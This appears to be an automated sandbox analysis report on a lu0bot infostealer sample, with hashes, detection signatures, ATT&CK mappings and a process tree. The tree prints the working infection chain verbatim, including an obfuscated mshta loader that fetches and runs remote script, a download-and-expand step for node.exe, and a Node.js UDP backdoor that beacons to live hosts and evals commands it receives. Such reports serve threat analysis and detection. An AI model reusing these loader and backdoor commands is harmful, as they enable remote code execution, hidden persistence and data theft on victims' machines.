lu0bot | 0297bbb0f00b3f591894ebcf042f2c6b0ed52e6662def1a9dbca0f8d20133cee

Analysis

max time kernel
150s
max time network
149s
platform
windows10_x64
resource
win10v20210410
submitted
18/08/2021, 14:27

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General

Target

usfive_20210818-031956.exe
Size

2KB
MD5

4a6ac8d48c9793c0c852a6ac93ba2002
SHA1

cdc7a9cf8ee36099c823779ac2dd8ffe3a84d723
SHA256

0297bbb0f00b3f591894ebcf042f2c6b0ed52e6662def1a9dbca0f8d20133cee
SHA512

3aacced9817519ae31ed2bc4cf4063b2eb0a1c9e9addbcb9e08b3431f519ca0a8a6a8962e1039835a48e50cb52cd08d21cad642a66822c288d2b0a88541c361e

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	800	mshta.exe
11	4052	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3464	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3552	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1276	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3148	ipconfig.exe
2772	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4000	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\0a3026b811369d1b:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:7a1366e55f5466111e8f35cbf254a0a4	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3464	node.exe
3464	node.exe
3464	node.exe
3464	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1276	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3056	wmic.exe
Token: SeSecurityPrivilege	3056	wmic.exe
Token: SeTakeOwnershipPrivilege	3056	wmic.exe
Token: SeLoadDriverPrivilege	3056	wmic.exe
Token: SeSystemProfilePrivilege	3056	wmic.exe
Token: SeSystemtimePrivilege	3056	wmic.exe
Token: SeProfSingleProcessPrivilege	3056	wmic.exe
Token: SeIncBasePriorityPrivilege	3056	wmic.exe
Token: SeCreatePagefilePrivilege	3056	wmic.exe
Token: SeBackupPrivilege	3056	wmic.exe
Token: SeRestorePrivilege	3056	wmic.exe
Token: SeShutdownPrivilege	3056	wmic.exe
Token: SeDebugPrivilege	3056	wmic.exe
Token: SeSystemEnvironmentPrivilege	3056	wmic.exe
Token: SeRemoteShutdownPrivilege	3056	wmic.exe
Token: SeUndockPrivilege	3056	wmic.exe
Token: SeManageVolumePrivilege	3056	wmic.exe
Token: 33	3056	wmic.exe
Token: 34	3056	wmic.exe
Token: 35	3056	wmic.exe
Token: 36	3056	wmic.exe
Token: SeIncreaseQuotaPrivilege	3056	wmic.exe
Token: SeSecurityPrivilege	3056	wmic.exe
Token: SeTakeOwnershipPrivilege	3056	wmic.exe
Token: SeLoadDriverPrivilege	3056	wmic.exe
Token: SeSystemProfilePrivilege	3056	wmic.exe
Token: SeSystemtimePrivilege	3056	wmic.exe
Token: SeProfSingleProcessPrivilege	3056	wmic.exe
Token: SeIncBasePriorityPrivilege	3056	wmic.exe
Token: SeCreatePagefilePrivilege	3056	wmic.exe
Token: SeBackupPrivilege	3056	wmic.exe
Token: SeRestorePrivilege	3056	wmic.exe
Token: SeShutdownPrivilege	3056	wmic.exe
Token: SeDebugPrivilege	3056	wmic.exe
Token: SeSystemEnvironmentPrivilege	3056	wmic.exe
Token: SeRemoteShutdownPrivilege	3056	wmic.exe
Token: SeUndockPrivilege	3056	wmic.exe
Token: SeManageVolumePrivilege	3056	wmic.exe
Token: 33	3056	wmic.exe
Token: 34	3056	wmic.exe
Token: 35	3056	wmic.exe
Token: 36	3056	wmic.exe
Token: SeDebugPrivilege	2772	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 800	3016	usfive_20210818-031956.exe	72
PID 3016 wrote to memory of 800	3016	usfive_20210818-031956.exe	72
PID 3016 wrote to memory of 800	3016	usfive_20210818-031956.exe	72
PID 800 wrote to memory of 2976	800	mshta.exe	77
PID 800 wrote to memory of 2976	800	mshta.exe	77
PID 800 wrote to memory of 2976	800	mshta.exe	77
PID 2976 wrote to memory of 4052	2976	cmd.exe	79
PID 2976 wrote to memory of 4052	2976	cmd.exe	79
PID 2976 wrote to memory of 4052	2976	cmd.exe	79
PID 2976 wrote to memory of 744	2976	cmd.exe	80
PID 2976 wrote to memory of 744	2976	cmd.exe	80
PID 2976 wrote to memory of 744	2976	cmd.exe	80
PID 2976 wrote to memory of 4000	2976	cmd.exe	81
PID 2976 wrote to memory of 4000	2976	cmd.exe	81
PID 2976 wrote to memory of 4000	2976	cmd.exe	81
PID 4000 wrote to memory of 3464	4000	cscript.exe	82
PID 4000 wrote to memory of 3464	4000	cscript.exe	82
PID 4000 wrote to memory of 3464	4000	cscript.exe	82
PID 3464 wrote to memory of 3864	3464	node.exe	86
PID 3464 wrote to memory of 3864	3464	node.exe	86
PID 3464 wrote to memory of 3864	3464	node.exe	86
PID 3464 wrote to memory of 1080	3464	node.exe	87
PID 3464 wrote to memory of 1080	3464	node.exe	87
PID 3464 wrote to memory of 1080	3464	node.exe	87
PID 3464 wrote to memory of 3552	3464	node.exe	88
PID 3464 wrote to memory of 3552	3464	node.exe	88
PID 3464 wrote to memory of 3552	3464	node.exe	88
PID 3464 wrote to memory of 640	3464	node.exe	89
PID 3464 wrote to memory of 640	3464	node.exe	89
PID 3464 wrote to memory of 640	3464	node.exe	89
PID 3464 wrote to memory of 2792	3464	node.exe	90
PID 3464 wrote to memory of 2792	3464	node.exe	90
PID 3464 wrote to memory of 2792	3464	node.exe	90
PID 3464 wrote to memory of 1276	3464	node.exe	92
PID 3464 wrote to memory of 1276	3464	node.exe	92
PID 3464 wrote to memory of 1276	3464	node.exe	92
PID 3464 wrote to memory of 3056	3464	node.exe	93
PID 3464 wrote to memory of 3056	3464	node.exe	93
PID 3464 wrote to memory of 3056	3464	node.exe	93
PID 3464 wrote to memory of 3148	3464	node.exe	94
PID 3464 wrote to memory of 3148	3464	node.exe	94
PID 3464 wrote to memory of 3148	3464	node.exe	94
PID 3464 wrote to memory of 1524	3464	node.exe	95
PID 3464 wrote to memory of 1524	3464	node.exe	95
PID 3464 wrote to memory of 1524	3464	node.exe	95
PID 3464 wrote to memory of 2772	3464	node.exe	96
PID 3464 wrote to memory of 2772	3464	node.exe	96
PID 3464 wrote to memory of 2772	3464	node.exe	96
PID 3464 wrote to memory of 4000	3464	node.exe	97
PID 3464 wrote to memory of 4000	3464	node.exe	97
PID 3464 wrote to memory of 4000	3464	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
640	attrib.exe
2792	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210818-031956.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210818-031956.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();27;y=unescape('%336%7Eh%74t%70%3A%2F%2F%61s%751%30%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E1%333').split('~');204;try{x='WinHttp';251;x=new ActiveXObject(x+'.'+x+'Request.5.1');200;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);117;x.send();134;y='ipt.S';8;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);71;}catch(e){};165;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1629296870605.txt & cscript /nologo /e:jscript get1629296870605.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F29345028d%26b%3D646779c0" node.cab & expand node.cab node.exe & del get1629296870605.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1629296870605.txt & cscript /nologo /e:jscript get1629296870605.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%279345028d%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1629296870605.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2976
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1629296870605.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F29345028d%26b%3D646779c0" node.cab
      4⤵
      Blocklisted process makes network request
      PID:4052
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:744
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1629296870605.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%279345028d%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4000
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%279345028d%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3464
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:3864
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:1080
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3552
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:640
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:2792
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1276
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3056
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:3148
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:1524
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:2772
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:4000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3464-128-0x000000003FC00000-0x000000003FC01000-memory.dmp

Filesize
4KB

Download
memory/3464-129-0x0000000036F00000-0x0000000036F01000-memory.dmp

Filesize
4KB

Download
memory/3464-130-0x000000002FB00000-0x000000002FB01000-memory.dmp

Filesize
4KB

Download
memory/3464-126-0x000000000D700000-0x000000000D701000-memory.dmp

Filesize
4KB

Download
memory/3464-127-0x000000001CB00000-0x000000001CB01000-memory.dmp

Filesize
4KB

Download
memory/3464-125-0x000000001EC00000-0x000000001EC01000-memory.dmp

Filesize
4KB

Download